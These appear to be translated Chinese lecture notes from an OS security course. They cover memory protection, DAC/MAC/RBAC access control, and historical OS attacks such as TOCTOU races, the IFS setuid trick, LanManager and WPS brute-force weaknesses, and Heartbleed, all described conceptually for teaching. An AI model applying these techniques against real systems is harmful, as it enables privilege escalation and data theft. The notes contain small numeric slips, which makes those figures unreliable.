大多数现代系统都有内核模式和用户模式。内核模式保护操作系统和关键表(如进程控制块)免受用户程序的干扰。然而,某些系统可能实现了额外的模式。例如,OS/2使用了三个环:R0用于内核代码和设备驱动程序,R2用于特权代码(如具有I/O访问权限的用户程序),R3用于非特权代码(这是几乎所有用户程序的模式)。最初的Multics系统有八个环。它是一个分时操作系统,开发于1965年,一直使用到2000年。

操作系统中两种常见的虚拟内存方案是分页和分段。操作系统必须管理进程对内存的访问。对于可信操作系统,还需要在进程使用完毕后清除内存。
- 分页:操作系统创建大小相等的页框,进程被划分为页,然后加载到这些框中。这对程序员是透明的。
- 分段:内存块大小可变。段表条目包括长度和基地址,用于在内存中定位。程序员(尤其是在汇编级别)必须管理内存,尽管现代高级语言为程序员做了大量的内存管理工作。

当数据即将在允许的地址空间之外被读取或写入时,会发生分段错误。无论是分页还是分段系统,以下是关键的内存保护要求:
- 必须控制进程对内存的访问。例如,操作系统必须确保当两个进程同时运行时,它们来自两个不同进程的不同虚拟地址不会指向同一个物理地址。
- 允许进程间共享内存,但不能同时共享。如果两个进程都处于活动状态,必须使用不同的物理位置,否则一个进程可能会破坏另一个进程正在使用的内存区域。
总结与下节预告
本节课中,我们一起学习了操作系统设计中可能提供攻击向量的属性(如果未正确实现的话)。即使正确实现,普通操作系统也无法提供可信操作系统的所有保护。

我们讨论的核心思想包括:
- 引用监视器应具备完整性、持续性、可验证性和防篡改性。
- 操作系统至少需要两种模式:用户模式和用于保护操作系统及其表的内核模式。
- 内存保护必须独立于虚拟内存方案。

在下一个子模块中,我们将更详细地讨论访问控制机制。
064:访问控制机制 🔐
在本节课中,我们将要学习信息安全领域的核心概念之一:访问控制。访问控制是操作系统用于授予或限制资源可用性的管理机制。我们将详细探讨三种最常见的访问控制模型:自主访问控制、强制访问控制和基于角色的访问控制,并理解它们如何保护系统资源。
访问控制基础
在信息安全领域,访问控制是操作系统授予或限制资源可用性及使用的管理机制。
授权是由访问控制机制强制执行、允许访问资源的权限。
本小节将涵盖当今系统中常见的访问控制机制。虽然你可能在其他课程中讨论过这些内容,但由于它们与操作系统紧密耦合,这里将进行快速回顾。
操作系统管理所有系统资源的使用,其访问控制机制为系统中的所有对象提供保护。通常,我们认为文件是需要被管理的对象,但也应将进程和用户归入此类。读、写和执行权限需要被控制。当然,操作系统还必须管理写入操作发生时的冲突和一致性问题。例如,当一个对象被修改时,操作系统必须锁定它,只允许单个主体访问,以消除竞态条件并确保一致性。

身份验证与授权
身份识别是确保主体是其声称身份的过程或机制。这一步有时需要提供带照片的身份证件,以获得向系统进行身份验证所需的凭证。
身份验证是实际确认凭证有效并信任该凭证已与身份紧密关联的机制。例如,要获得政府个人身份验证卡,你必须有一份由政府官员签署的表格,证明背景调查已完成,并且还必须出示两张带照片的身份证件,以证明你是表格上标识的人。

PIV卡是一种智能卡,包含非对称凭证,通过个人PIN码访问以进行身份验证。你将卡插入读卡器,系统会请求你的PIN码。如果PIN码正确,卡上的凭证(如你的身份验证证书和关联的私钥)就可以用来向请求身份验证的机制保证你的身份。
一旦你的身份被确认,就可以授予你对系统资源的访问权限。
请在脑海中区分“身份验证”和“授权”这两个词。身份验证机制验证你的身份。一旦你的身份被确认,授权机制会根据你的身份控制你对系统资源的访问。
三种常见访问控制机制
下一小节将讨论三种最常见的访问控制机制:DAC、MAC和RBAC。
自主访问控制
对于自主访问控制,每个对象都有一个唯一的所有者(可能是对象的创建者),该所有者被允许向其他用户授予访问该对象的权限。

该机制可以被视为一个矩阵,尽管从未以这种方式实现。矩阵的行是想要访问对象的主体,矩阵的列是正在管理访问权限的对象。因此,想象矩阵单元格中的一个“R”,该行的主体被所有者授予了对该列对象的读取权限。
DAC通常通过访问控制列表实现。ACL本质上是矩阵的单个列,它标识了所有者授予访问权限的所有主体。DAC也可以通过能力列表实现,这是面向主体的,可以看作是给定主体的矩阵行,标识了各个所有者授予的对所有对象的所有权限。
由于能力列表可能分散在系统中,它们比ACL带来更大的安全问题。因此,操作系统通常在用户无法访问的内存区域中代表用户保存所有能力列表,以防止用户编辑自己的能力列表。
这两种实现方式带来了不同的管理挑战。当对象的权限发生变化时,ACL易于管理。当主体从系统中删除或其权限发生变化时,必须修改所有ACL以检查该主体。能力列表则相反,当主体的权限发生变化时易于管理,但从对象的角度来看则不那么容易,因为管理员必须检查每个能力列表,以查看哪些主体有权访问该对象。
访问控制矩阵模型
这张幻灯片展示了一个访问控制矩阵模型,其中来自集合S的主体被分配到行,来自集合O的对象被分配到列。单元格中的条目授予主体访问对象的权限。

请注意,被控制的对象集合也包括来自主体集合的活动进程。因此,一个进程可以被授予对对象的权限。同时,另一个主体可以被授予访问该进程的权限。换句话说,集合S中的一些主体也是集合O中的对象。同样,单元格包含授予主体对对象的权限,但许多单元格将是空的,表示主体对对象没有权限。
由于空单元格普遍存在,访问控制矩阵从未在操作系统中实现。相反,使用像ACL这样的压缩版本。但访问控制矩阵为理解DAC的含义和工作原理提供了一个有用的模型。
Butler Lampson在其1971年发表的题为《保护》的开创性论文中首次提出了这个模型,后来由Denning和Graham在《保护、原理与实践》中进行了完善。这些是基础论文,值得网络安全专业人士阅读。

DAC的弱点与特洛伊木马
自主访问控制的一个弱点是,它无法防止被设计为滥用访问权限的特洛伊木马程序。
在本幻灯片的示例中,我们展示了两个文件。文件F1包含用户A的个人身份信息,由A拥有。文件F2包含公共信息,由用户B拥有。作为文件F1的所有者,A可以读取和写入该文件,但A没有将这些权限授予任何其他人。
作为文件F2的所有者,B可以读取和写入该文件,但在这种情况下,B还授予了A写入该文件的权限。
现在,假设用户A运行一个程序来编辑她的个人文件F1,并假设该程序包含一个特洛伊木马,该木马也以A的权限运行。特洛伊木马将能够读取文件F1,并将其内容写入文件F2,因为A对B有写入权限。特洛伊木马使B能够访问A的个人信息。
如果文件F1是机密的,而文件F2是非机密的,那么这个特洛伊木马就是在创建一个隐蔽通道来窃取机密信息。问题是,如何修改访问控制机制以防止此类问题?答案是实施一种称为强制访问控制的机制。
强制访问控制

这张幻灯片简要回顾了MAC模型的特性。顺便说一下,强制访问控制有时被称为基于格的访问控制,因为一个称为格的数学对象在其中扮演重要角色。
MAC具有你在先前课程中学到的两个特性。强制执行涉及比较用户会话的安全许可级别和对象的分类级别。这些通常是全序集合:非机密、机密、秘密和绝密。然而,该模型足够健壮,可以使用嵌入在格中的偏序数学关系来处理分隔区。
该模型有两个基本属性。第一个属性是,不允许读取分类级别高于你授权会话级别的文档。例如,你可能拥有绝密许可,但如果你的会话是秘密级别,你将不被允许访问绝密材料。
第二个属性是,不允许写入分类级别低于你授权会话级别的文档。通常假设你的会话是在你的许可级别启动的。当然,你可能能够在不同级别启动会话。
我们经常将Bell和LaPadula开发的这个形式化模型描述为约束你“不能向上读,不能向下写”,但可以做相反的操作。“不能向上读”通常被称为简单安全属性,“不能向下写”被称为星属性。严格的星属性意味着你只能在自己的级别写入,不允许向上或向下写入。该模型还假设存在一个自主访问控制矩阵。

MAC如何防御特洛伊木马
让我们回到特洛伊木马的例子。但这里我们将从关注个人身份信息转向关注机密数据的泄露。A仍然对F2拥有自主写入权限。但由于A的会话是在比F2分类级别更高的安全级别启动的,因此MAC阻止A向F2写入任何信息,从而保护了机密信息。
这种控制是由之前讨论的引用监视器提供的,现在你可以看到完全仲裁对于确保没有访问尝试能够绕过引用监视器的重要性。
成功实施MAC的关键之一是不可修改对象的标签。如果可以修改,特洛伊木马可能会将F2切换到更高的分类级别,将机密数据写入其中,然后将其改回原始分类级别。因此,除了实施MAC模型外,该机制还必须阻止任何修改对象标签的尝试。

MAC的数学视角
这是MAC的另一种视角。很容易理解标准的安全级别:机密、秘密和绝密。从数学角度来看,这种线性关系代表了一个全序集合,每个级别都可以与另一个级别比较。
然而,强制访问控制的模型基于一个更通用的涉及偏序集合的数学模型。右侧显示了一个示例。在这两种情况下,我们都希望信息向上流动,但对于偏序,集合中的单个元素存在多条路径。例如,“陆军”和“密码”不一定可比。这对于可能彼此无关的安全分隔区来说是一个非常重要的概念,并且单个分隔区的成员不一定需要了解其他分隔区的信息。然而,即使分隔区不在同一层级,信息也可能向上流动到可以访问一切的顶层人员那里。

格与访问控制
使用偏序集合产生的关联关系称为格。这里展示的格是为一个大学课程项目开发的,它基于标准的全序集合,结合了描述国防部部分安全分隔区的偏序集合。图表显示标识符U、C、S和TS没有被混淆,但分隔区名称被混淆了,可能是出于安全原因。这在我的课上没有做,所以我不知道很多细节。我知道这个图表现在非常古老了,我怀疑它不再适用,但它是展示MAC模型可以多么复杂的一个有趣视角。
许多人没有想到的一个重要想法是,在秘密级别可能存在需要知道的分隔区。读取分隔区信息并不总是需要绝密许可。
基于角色的访问控制
我们将讨论的第三种访问控制模型是基于角色的访问控制。第一篇描述RBAC的论文写于1992年,GMU的Sandhu在1995年提出了一个RBAC框架,以整合关于会话和角色层次结构的思想。
关键思想是对组织业务逻辑的部分进行建模。他们如何使用组织中人员的角色进行日常操作?因此,我们让处于特定角色的主体执行特定工作,他们需要特定的权限来完成该工作。这是一个简单的图景。用户和角色之间存在关系,权限和角色之间也存在关系。两种关系都是多对多的,用户和权限之间没有直接联系。
这简化了管理,这是其动机之一。如果雇佣了新员工,系统管理员只需给她分配适当的角色,而不必担心分配给她一大组单独的权限。
你还可以将授予用户分配和授予权限分配的行为分离开来,交给不同的系统管理员和/或在不同的时间范围内进行。它允许组织在不担心员工的情况下定制应用程序和业务逻辑。事实上,这是实现职责分离的好方法。在将用户分配给角色时,所涉及的应用程序不影响分配。然而,分配给这些角色的权限性质确实取决于实现。例如,操作系统需要分配读写权限,关系数据库管理系统需要分配选择和更新权限,而交易应用程序可能需要分配贷记和借记权限。
假设一个用户被分配了教授角色。他应该只能看到他班上学生的成绩。但你如何区分所有拥有相同角色的教授呢?这种复杂性通过框架的扩展来解决,增加了对权限约束的概念。它允许创建上下文敏感的权限。因此,所有用户的权限和角色是相同的,但实际查看的对象可能不同。
会话的概念是,一个用户可能被分配到多个角色,但并非所有角色都在用户登录时激活。这取决于会话的配置文件。会话有一个与之关联的身份,并且可以从会话的配置文件中添加或删除角色。

RBAC的重要特性
这张幻灯片展示了RBAC的重要特性。用户的权限由角色决定,而不是由经过身份验证的身份或许可决定。RBAC的扩展允许角色编码任意属性,从而创建基于属性的访问控制机制。
策略中立意味着RBAC机制可以重新配置以建模和支持DAC和MAC。然而,如果RBAC不包含会话的抽象,你就无法使用它来实现MAC。用户-角色关系和角色-权限关系都是多对多的。

总结
本节课中我们一起学习了三种最常见的访问控制机制:自主访问控制、强制访问控制和基于角色的访问控制。DAC是基于身份的,对象的所有者管理权限。MAC基于为用户和对象分配的安全或隐私级别。RBAC基于分配给用户角色的权限。
它们是截然不同的模型,代表了我们对安全需求理解的演变。每种模型都有其优点,但它们具有不同的安全态势。通常,我们会看到包含DAC和MAC的混合模型,而RBAC机制可以被修改以模拟其中任何一种。
“需要知道”的约束通常通过在其他机制上叠加DAC来强制执行。最后,如果需要额外的访问控制复杂性,可以扩展RBAC以提供ABAC。

在下一个子模块中,我将讨论一些利用了操作系统实现中漏洞的攻击。在很大程度上,这些攻击已被充分理解,攻击者不再能够利用,但它们并未被完全消除。可以肯定的是,其中涉及的许多概念在现代设计的攻击中被重复使用。
065:操作系统漏洞分析 🔍
在本节课中,我们将学习操作系统层面的历史攻击案例。这些攻击之所以成功,往往源于操作系统自身存在的弱点。我们将重点探讨一种反复出现的关键攻击思想——缓冲区溢出。尽管现代系统已实施了许多改进来应对此类问题,但它至今仍是一种常见且有效的攻击手段。理解这一概念至关重要,我们将对其进行深入剖析。
以下是本小节将要回顾的攻击类型列表,其中许多例子取自Trent Yeager的《操作系统安全》一书。


网络守护进程攻击 🌐
上一节我们概述了多种攻击类型,本节中我们首先来看看针对网络守护进程的攻击。在Linux系统中,面向网络提供访问服务的守护进程(daemons)示例包括SSHD、FTPD和sendmail。如果这些进程通过网络可访问,且未对远程输入进行充分防护,就极易遭受远程攻击,特别是缓冲区溢出攻击。
以下是历史上一些过于“轻信”的远程登录守护进程:
- Rsh
- Rlogin
- FTPD
- NFS

“过度信任”的一个例子是早期不安全的FTPD版本,它以明文形式发送密码。另一个例子是不安全的NFS版本,它会接受来自远程文件系统的任何响应,并将其视为来自合法服务器。
从这些漏洞中,我们可以得出一个推论:仔细检查远程输入至关重要。当然,这并非新观点。我们在之前的Web漏洞利用模块中已经见过,尤其是在防止SQL注入攻击时。第二个启示是:不要信任网络。攻击者可能正在嗅探数据包或伪装成合法的网络节点。这个观点在网络漏洞利用模块中也曾提及。

内核扩展攻击 ⚙️
了解了网络服务的风险后,我们来看看更深层的系统组件。操作系统内核的扩展也可能成为攻击目标。Windows将内核扩展称为“内核模式驱动程序”,而Linux则称之为“可加载内核模块”(LKM)。LKM是包含代码的目标文件,可以在不重新编译操作系统的情况下,动态扩展正在运行的内核。如果没有LKM,操作系统就必须将所有未来可能的功能都编译进基础内核中,其中许多功能不会被使用,却会消耗资源和内存。
LKM通常用于添加对新硬件或文件系统的支持,但也可用于添加系统调用。当不再需要时,可以卸载它们以释放内存和其他资源。这两种类型的内核扩展都可能允许攻击者以内核权限执行代码,因为攻击者利用了拥有内核访问权限的、属于root用户的进程。

当然,内核模块并非任何人都能加载。只有具有root权限的用户或内核本身才能加载或卸载内核模块。这意味着在获取root权限之前,攻击者无法利用此点。但一旦获得root权限,使用可加载内核模块来加载后门和rootkit就非常有用。攻击者无需向系统功能中注入木马,而是可以在内核级别颠覆功能,且不留痕迹。这种方法还能颠覆生成系统指纹哈希的工具。攻击者已经学会了如何使LKM隐形且无法移除。

环境变量攻击 🔧

除了内核扩展,进程间传递信息的机制也可能被滥用。环境变量允许进程传递状态信息。我们将在后续讲座中探讨的缓冲区溢出示例就会利用这一点,通过创建一个新的环境变量来传递状态,而传递的信息将包含shell代码。
攻击者使用环境变量的另一种方式是更改$PATH变量,使操作系统寻找并运行恶意代码,而非预期的代码。换句话说,一个受信任的进程可能因为$PATH管理不当,而调用子模块中的恶意代码。在后续关于setuid的小节中,你将通过让一个临时以root身份运行的普通进程执行特权代码来探索这个想法。

输入验证问题 🚫
我们已经多次讨论过输入验证的重要性,但值得再次强调,因为它代表了系统中的一个关键攻击向量,那些没有充分进行检查的系统尤其危险。
以下是输入验证不当可能引发的问题:
- 需要控制的关键要素之一是库和主机路径的位置。如果未进行验证,就可能存在目录遍历漏洞。这可能为攻击者创建获取对受限目录和文件进行未授权访问的途径。
- 这些输入验证问题通常是Web服务器或应用程序代码中的漏洞,允许攻击者利用系统来读取或写入本不应被访问的文件。
- 在某些情况下,攻击者可能能够执行任意代码或系统命令。
- 列表中的最后一点也很关键,因为它可以防止缓冲区溢出。其核心思想是始终确保应用程序接收到的任何类型的输入,其长度永远不会超过它本应放入的缓冲区。

OpenSSL中的“心脏滴血”漏洞是弱输入验证的一个很好的例子,尽管它严格来说并非缓冲区溢出攻击。在TLS保持连接握手期间,攻击者能够请求额外的63KB内存,因为协议假设会被正确使用,并且没有对作为有效载荷返回的字符串长度进行验证。在某些情况下,返回的额外内存中包含会话cookie,使得活跃会话可以被劫持。

临时文件竞争条件 ⏱️

输入验证之外,文件系统的使用也可能引入风险。假设一个不受信任的进程猜中了某个受信任进程将在/tmp目录中使用的临时文件名。
由于任何进程(无论是否受信任)都可以在/tmp中创建文件,攻击者便在那里使用刚刚猜中的名字创建自己的文件。然后,攻击者授予受信任进程访问他这个不受信任的临时文件的权限。这样一来,当受信任进程去创建临时文件时,该文件已经存在,并且由于是攻击者创建的,他就能读取受信任进程的临时文件。

TOCTOU攻击 🔄
在软件开发中,“检查时间到使用时间”(TOCTOU)是一类软件缺陷,由系统在检查某个条件(如安全凭证)与使用该检查结果之间发生变化所引起。这是一种竞态条件。
inode存储了关于常规文件、目录或其他文件系统对象的所有信息,但它与文件名是松散耦合的,这就创建了一个攻击向量。当攻击者请求访问一个临时文件时,他将文件名传递给受信任进程以进行访问控制决策。例如,他可能说想访问他的临时文件/tmp/X,这会被允许。对access()函数的调用按预期进行,并授予程序访问该文件所需的权限。

然而,access()和fopen()这两个函数都是基于文件名而非文件句柄进行操作。这意味着无法保证当文件名传递给fopen()时,它所指的磁盘上的文件与传递给access()函数时是同一个。
如果攻击者在调用access()函数之后、调用fopen()之前,将/tmp/X替换成一个指向其他文件的符号链接,那么受信任进程将打开该文件,即使这个文件是攻击者原本无法访问的。
提醒一下,符号链接是对另一个文件的引用(作为绝对路径),它会影响路径名解析。

密码与加密弱点 🔐

文件访问存在风险,保护数据的密码和加密机制本身也可能有弱点。密码并非以明文存储,通常会在写入shadow文件之前进行加盐和哈希处理。然而,并不能保证加密机制不会被攻击。


以下是一些常见的密码与加密弱点:
- 非标准且未经审查的算法是危险的,绝不应使用。例如,使用专有的加密算法可能被逆向工程,如果算法因未经适当审查而存在弱点,就会提供一个攻击点。
- 同样,对哈希函数进行的任何旨在加速的修改都可能产生漏洞。
- 我们知道MD5是一种弱哈希函数,Flame病毒就利用这一点创建了欺诈性证书,对某些恶意软件进行数字签名,使其看起来像是源自微软。这种攻击被称为“选择前缀碰撞攻击”,即创建一个新的伪造证书,使得两个不同证书(一个好的,一个坏的)的哈希值在签名验证时产生相同的结果。
- 应用算法时的一个重要点是,给定相同的种子,伪随机数生成器总是产生相同的随机输出流。这实际上被一些无线协议所利用,但也意味着使用相同种子的两个应用程序容易受到密码分析。


在应用算法时,一个明显的问题有时仍会被程序员忽视:加密后未能销毁明文。

特定协议与实现的弱点 🎯
加密算法之外,具体的认证协议实现也可能存在设计缺陷。LanManager是微软开发的一种网络操作系统,但其身份验证协议存在多个问题:
- 密码不区分大小写,因此在生成哈希值之前,所有密码都会转换为大写。
- 密码字符仅限于ASCII字符集的一个子集。
- 这两个问题都显著减少了攻击面。
- 密码长度限制为最多14个字符,但一个14字符的密码会被分成两半,每半7个字符,并分别计算哈希值。因此,攻击者只需要对7个字符进行两次暴力破解,而不是17个字符。这使得密码的有效强度仅相当于两个7字符密码的强度,复杂度大大降低。
- 如果密码等于或少于7个字符,则哈希值的后半部分将始终产生相同的常量值。因此,如果密码长度小于或等于7个字符,其强度几乎可以直观判断。
- 哈希值不加盐就发送到网络服务器,使其容易受到中间人攻击,例如重放哈希。
WiFi保护设置(WPS)之所以脆弱,是因为规范没有要求设置超时来消除暴力攻击。有些供应商实现了超时,有些则没有。此外,WPS有一个与LanManager类似的弱点,加速了暴力攻击。PIN码只有8位数字,其中一位是校验和,将暴力攻击减少到7位数字。PIN码中的7位数字串被分成4位和3位的子串进行验证,将攻击面从107(1000万次尝试)减少到104 + 10^3(11000次尝试)。
BXWorks使用默认的弱哈希算法,容易发生碰撞。因此,任何产生相同哈希的字符串都足以通过身份验证。例如,字符串Y[[[[[KS的哈希值与password相同。结果是,攻击者可以通过猜测一个产生相同哈希的字符串来暴力破解正确密码,从而访问相关服务。这同样减少了攻击面。


引导过程攻击 💾
协议层面的弱点可能被远程利用,而物理访问则带来另一类风险。我在第一个子模块中演示了引导加载程序的漏洞,但尚未讨论另外两个引导问题。
以下是引导过程中可能存在的安全问题:
- Sun OS允许引导进入单用户模式。在获得系统上的权限后,有可能将这些权限扩展到整个服务器网络。
- 如果你有物理访问权限,有时可以从Live CD或USB设备启动,从而访问系统磁盘。
- 在PC上运行的Windows系统通常可以用其他操作系统(如Linux)重新启动。一旦启动其他系统,NTFS卷就可以被挂载和访问,因为攻击者已经绕过了Windows内的访问控制机制。这是窃取Windows密码文件的好方法。


安全配置与STIG 📋
为了防御上述各种攻击,严格的安全配置至关重要。在美国国防部,安全需求指南为制定安全技术实施指南(STIG)提供了指导方针,STIG包含系统锁定信息。由产品供应商开发的STIG记录了适用于特定技术产品的国防部政策和安全要求,以及最佳实践和配置指南。
国防信息系统局(DISA)正在通过制定国防部对国家信息保障伙伴关系保护配置文件的附录来取代SRG流程,尽管对产品特定STIG的需求仍然存在。NAP通用标准评估的结果将用于制定STIG。
STIG将以XCCDF格式发布,以便自动化工具使用,通过添加OVAL代码,既可以评估合规性,也可以进行配置修复。可以使用基于主机的安全系统和安全内容自动化协议(SCAP)合规检查器,在整个企业范围内评估STIG合规性。



Windows注册表与权限问题 🪟
在Windows中,注册表项可能具有安全上下文。不幸的是,有些程序将安全上下文留空。当发生这种情况时,任何普通用户都可以更改路径并使用注册表项来获取管理员权限并危害系统。

用户权限与历史漏洞案例 📜
Windows用户可能拥有管理员权限,但可能不了解这些权限的重要性。账户经常被这样配置,以便软件能够正确安装和运行。这意味着缺乏知识或粗心的用户只需单击一下即可轻松安装恶意软件。
Bit9是一种提供工具来控制软件安装的产品,但有时配置得过于严格,导致用户在工作中感到非常沮丧。在用户拥有管理员权限的情况下,危害任何用户账户都会给攻击者带来root权限。
为了激发我们对缓冲区溢出的深入探讨,这里有几个涉及Windows IIS Web服务器的古老但著名的例子:
- “红色代码”溢出漏洞的影响之所以被放大,是因为索引服务在IIS中默认是启用的。同样,SQL Server也默认启用,即使它可能没有运行。
- “红色代码”蠕虫利用了索引服务器中的缓冲区溢出漏洞,该漏洞允许执行指令以产生蠕虫行为。基本上,IIS错误地处理了HTTP请求,并以完全权限执行了数据包中包含的代码。
- 有趣的是,在该蠕虫出现前大约一个月,微软已经为IIS发布了补丁。那些已经打补丁的系统没有受到影响。这发生在2001年,当时管理员对安装补丁还不够警惕。事实上,微软未能给自己的更新服务器打补丁,导致一些用户在尝试打补丁时被感染。
- 几年后,“Slammer”蠕虫利用了SQL Server中的缓冲区溢出漏洞,SQL Server与IIS捆绑在一起,并且初始配置为启用。一个副作用是拒绝服务,因为蠕虫传播速度太快,堵塞了路由器并导致许多站点关闭。同样,补丁在六个月前就已经发布。
总结 📝
在本小节中,我们讨论了几种操作系统攻击向量。这些攻击方式都已被充分理解了一段时间。但当编写新软件时,其中一些问题又会重新出现。因此,无论是作为渗透测试者、系统防御者还是道德黑客技能的使用者,我们都需要思考这些问题。我们可以利用我们的知识来帮助改进系统防御。
如果你在观看本讲座的当天访问国家漏洞数据库,并搜索“缓冲区溢出”,你很可能会发现至少一个在你搜索日期前七天内被识别的缓冲区溢出漏洞。
在开始深入探讨缓冲区溢出之前,我们将花一些时间学习setuid,这是操作系统一个必要但有时脆弱的功能。


066:Setuid权限机制 🔓
在本节课中,我们将要学习Setuid权限机制。这是一种允许用户以临时提升的权限运行程序以执行特定任务的对象标志。如果能在拥有提升权限时脱离预定任务,就可能访问到本不该访问的对象。本小节将探讨一些Setuid漏洞的实例。
Setuid标志概述
Setuid是一个可以使用chmod命令修改的标志。如前所述,它允许用户以临时提升的权限运行程序以执行特定任务。这对于需要比普通用户更高权限的任务是必要的,例如更改登录密码。当更改密码时,用户会暂时拥有root权限。
以下是一个例子:如果在/usr/bin目录下执行ls -la命令,你可能会看到sudo程序。仔细观察其权限,你会发现该可执行文件上设置了setuid权限位。某些Linux版本使用颜色编码来标识setuid程序。例如,在我的Debian系统上,setuid程序以红色高亮显示。
这个位指示内核,该程序应始终以文件所有者的用户ID(UID)来执行。对于sudo程序,所有者就是root。一旦sudo以root身份运行,它就可以执行必要的身份验证,并在调用请求的命令之前,通过fork和setuid系统调用来切换权限。
内部字段分隔符漏洞
内部字段分隔符(IFS)漏洞是过去滥用setuid的一个典型例子。攻击思路是,一个拥有临时root权限的程序可以被诱骗去执行用户提供的代码。
为了理解这一点,假设你将IFS环境变量设置为正斜杠/,而不是默认的空格。接下来,在当前目录中创建一个名为bin的恶意代码文件。
当程序执行系统调用运行system("/bin/ls")函数时,程序不会去遍历目录路径寻找/bin/ls这个二进制文件,而是会从当前目录运行名为bin的程序,并且该程序将以root权限运行。
这个漏洞已经通过确保shell不继承IFS变量得到了修复。
修改文件权限
chmod命令用于修改文件权限。其参数通常由几位数字组成:
- 第一位数字(可选)用于设置特殊属性:setuid值为4,setgid值为2,粘滞位值为1。
- 第二位数字设置文件所有者的权限:读为4,写为2,执行为1。
- 第三位数字设置文件所属组内其他用户的权限。
- 第四位数字设置既非所有者也非组内其他用户的权限。
例如,命令 chmod 4755 filename 会为文件设置setuid位,并赋予所有者读、写、执行权限,赋予组和其他用户读和执行权限。
实验环境准备
为了探索setuid,你需要构建一个虚拟机,可以使用Debian、Ubuntu或其他你选择的Linux版本。具体选择哪个发行版并不重要,但Kali Linux不适用,因为在该系统中你通常始终以root身份运行。
确保虚拟机运行后,检查是否安装了zsh,可以通过尝试运行它或查找/bin/zsh可执行文件来确认。如果未安装,请安装它。你还需要编译一些简单的C代码,因此请检查是否安装了GCC编译器。你可以直接输入gcc(不带文件名),看它是否尝试运行;它通常位于/usr/bin目录下。如果虚拟机上没有,请安装它。
动手实验
本小节要求完成一个动手实验,旨在探索setuid标志,以了解不良编程实践如何制造漏洞。事实上,由于潜在的安全问题,许多操作系统会忽略应用于可执行shell脚本的setuid属性。
实验包含四个部分,我已提供详细的实验指导,为你具体说明需要完成和用截图记录的内容。
前两部分涉及比较二进制文件在设置和未设置setuid位时的行为差异。
后两部分要求你编译我提供的C程序。一个程序将探究在设置setuid位时,使用相对路径可能带来的漏洞;另一个程序将演示,即使是一个编写良好的程序,在以临时root权限运行时也可能被利用。
课程总结
本节课中我们一起学习了操作系统安全的几个方面,包括重要的设计方法和有助于保护操作系统的访问控制机制。我们还探讨了不安全的引导加载程序和setuid编程错误作为可能的攻击向量。这些问题大多已存在很长时间,我们已理解它们,并且我们的系统正在不断改进,但仍有常规被发现的技术可以危害操作系统。下一讲将关于rootkit,并提供如何开发一个rootkit的指导。




067:课程导论 🎯
在本节课中,我们将要学习缓冲区溢出攻击的基本概念、历史背景及其重要性。我们将从一篇开创性的论文《粉碎堆栈以获取乐趣和利润》开始,了解缓冲区溢出攻击的核心原理,并探讨为何这种攻击在当今网络安全领域依然至关重要。
缓冲区溢出的历史与背景 📜

上一节我们介绍了课程的整体目标,本节中我们来看看缓冲区溢出技术的历史渊源。
Frarack 是一本由黑客编写并为黑客服务的杂志,首次出版于 1985 年。它最初涵盖了电话系统破解和黑客技术。这本杂志至今仍在发行,并欢迎任何希望讨论相关主题原创想法的人投稿。黑客和安全专业人员都会使用并贡献其中的材料。
Aleph One 在 1996 年撰写了《粉碎堆栈以获取乐趣和利润》一文。它被作为 ASCII 文件发表在 Frarack 杂志第 7 卷第 49 期(1996年11月8日)。如果你查看第 49 卷的其他文章,会发现其中许多在当时都涉及电话系统。如今,你可以找到更易于阅读的 HTML 版本,但查看原始的 ASCII 版本仍然很有价值。《粉碎堆栈》是关于缓冲区溢出主题的开创性论文,我们将在本模块中详细研究它。

攻击技术与现实影响 ⚔️
缓冲区溢出和面向返回编程都是我们方法论中的漏洞利用技术。尽管道德黑客通常不使用这些技术,但攻击者(无论好坏)都会利用它们。因此,你需要充分理解它们,以便识别相关攻击并尝试进行防御。

以下是一些遭受缓冲区溢出攻击的旧程序示例:
- 对于 SMTP,攻击者向 SMTP 端口提供一个特制的扩展动词,允许执行任意代码。
- 对于 Telnet,当提示输入用户名时,攻击者提供一串比预期更长的字符,并包含可执行代码。
- NTP 守护进程容易受到基于堆栈的缓冲区溢出攻击。
- 在 64 位架构机器上的 NFS,包含一个基于堆栈的缓冲区溢出漏洞。
- 远程攻击者可以通过在 finger 请求中用文件的完整路径名替换用户名,来查看系统上的任意文件。
- TFTP 守护进程中的缓冲区溢出,允许通过一个长的文件名参数执行任意代码。
- 攻击者可以将
TERM环境变量的值复制到一个内部缓冲区,当被我们的登录程序使用时,该缓冲区可能溢出。
漏洞的普遍性与持续性 📊
对国家漏洞数据库的搜索显示,有近 7000 条提及缓冲区溢出的漏洞记录。在我进行查询的当天发现了一个漏洞,前一天发现了一个,再前一天也发现了一个。这告诉我们,尽管多年来我们为应对这些漏洞采取了许多缓解措施,但它们仍然持续出现。如果你在观看本讲座的当天进行搜索,很可能会在前一周内看到一个缓冲区溢出漏洞。而且这不仅仅是冷门软件的问题。幻灯片上的最后一个 CVE 描述了一个 Mozilla Firefox 基于堆的缓冲区溢出。
本幻灯片和上一张幻灯片的要点是,我们确实需要理解这些攻击,因为它们允许执行任意代码,从而让攻击者获得系统访问权限,而且攻击面似乎并没有显著缩小。
心脏滴血:缓冲区“过读”攻击 💔
接下来,我想快速讨论导致心脏滴血攻击的 OpenSSL 漏洞。我之所以包含它,是因为太多工程师(甚至是安全工程师)将其称为缓冲区溢出攻击。它不是。尽管它确实涉及一个缓冲区,但它实际上是一种缓冲区“过读”攻击。我认为这不是一个常见的术语,但当我解释时,你会明白我的意思。更重要的是,当我们深入研究什么是真正的缓冲区溢出时,请思考心脏滴血与溢出的区别。
TLS 的某些实现可能导致隧道在没有数据发送时被丢弃。为了规避这个问题并保持隧道畅通(即使在不使用时),引入了“心跳”的概念。这是 SSL 的一个简单扩展,涉及在隧道上没有流量时,隧道两端之间周期性的请求和响应。

心跳的实现方式如下所示。首先,发送一个心跳请求,其中包含一个序列号和 16 字节的随机信息。当收到请求时,另一端通过从内存中读取相同的信息来响应。问题出现是因为响应者使用载荷长度字段来确定要返回多少字节。程序员确实检查了请求是否发送了 16 字节,但他没有检查载荷长度字段,看它是否请求返回 16 字节。
攻击过程如下:一个典型的 SSL 隧道,如果不强制相互认证,则只需要服务器凭证。这允许攻击者建立一个 SSL 隧道。现在,攻击者将心跳请求中的载荷长度字段从 0,0,1,0 更改为 F,F,F,F 并发送请求。响应者本应只在返回中包含 16 字节。但代码读取了载荷长度字段,并认为载荷应该是 65535 字节。因此,代码从初始载荷所在的内存区域读取那么多字节。所以,响应最终不仅包含那 16 字节,还包括缓冲区之后该内存区域中剩余的 64KB 数据。
